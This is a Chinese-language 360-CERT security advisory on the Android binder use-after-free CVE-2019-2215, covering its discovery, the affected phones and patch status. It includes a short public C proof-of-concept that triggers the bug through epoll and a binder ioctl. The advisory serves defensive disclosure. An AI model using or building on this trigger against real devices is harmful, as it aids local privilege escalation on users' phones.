报告编号:B6-2019-100501
报告来源:360-CERT
报告作者:360-CERT
更新日期:2019-10-05
0x00 漏洞摘要
0day漏洞CVE-2019-2215由Google公司Project Zero小组发现,并被该公司的威胁分析小组(TAG)确认其已用于实际攻击中。TAG表示该漏洞利用可能跟一家出售漏洞和利用工具的以色列公司NSO有关,随后NSO集团发言人公开否认与该漏洞存在任何关系。
该漏洞实质是内核代码一处UAF漏洞,成功利用可以造成本地权限提升,并有可能完全控制用户设备。但要成功利用该漏洞,需要满足某些特定条件。
安卓开源项目(AOSP)一位发言人表示:“在安卓设备上,该漏洞的严重性很高,但它本身需要安装恶意应用程序以进行潜在利用。对于其它媒介向量,例如通过网络浏览器,需要附加额外的漏洞利用程序组成攻击链。
0x01 漏洞POC
该漏洞存在于android-msm-wahoo-4.4-pie分支或更多的其它地方(https://android.googlesource.com/kernel/msm),漏洞触发在/drivers/android/binder.c文件中。
已公开的在KASAN内核中触发UAF造成崩溃的POC代码如下:
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
0x02 影响版本
该漏洞已于2017年12月在安卓内核3.18、4.14、4.4、4.9中修复,但在后续版本中又重新引用。根据Project Zero小组统计,目前该漏洞广泛存在于以下设备中:
- 安卓9和安卓10预览版 Pixel 2
- 华为 P20
- 红米 5A
- 红米 Note 5
- 小米 A1
- Oppo A3
- 摩托罗拉 Z3
- Oreo LG 系列
- 三星 S7、S8、S9
0x03 修复建议
根据AOSP声明该漏洞已经通知各安卓合作伙伴,补丁已在Android Common Kernel上提供。预计各厂商将在未来几天内陆续发布更新修补漏洞。
360-CERT提醒安卓用户关注补丁更新。
0x04 时间线
2019-09-27 Google公司Project Zero小组发现并提交漏洞
2019-10-05 360-CERT发布预警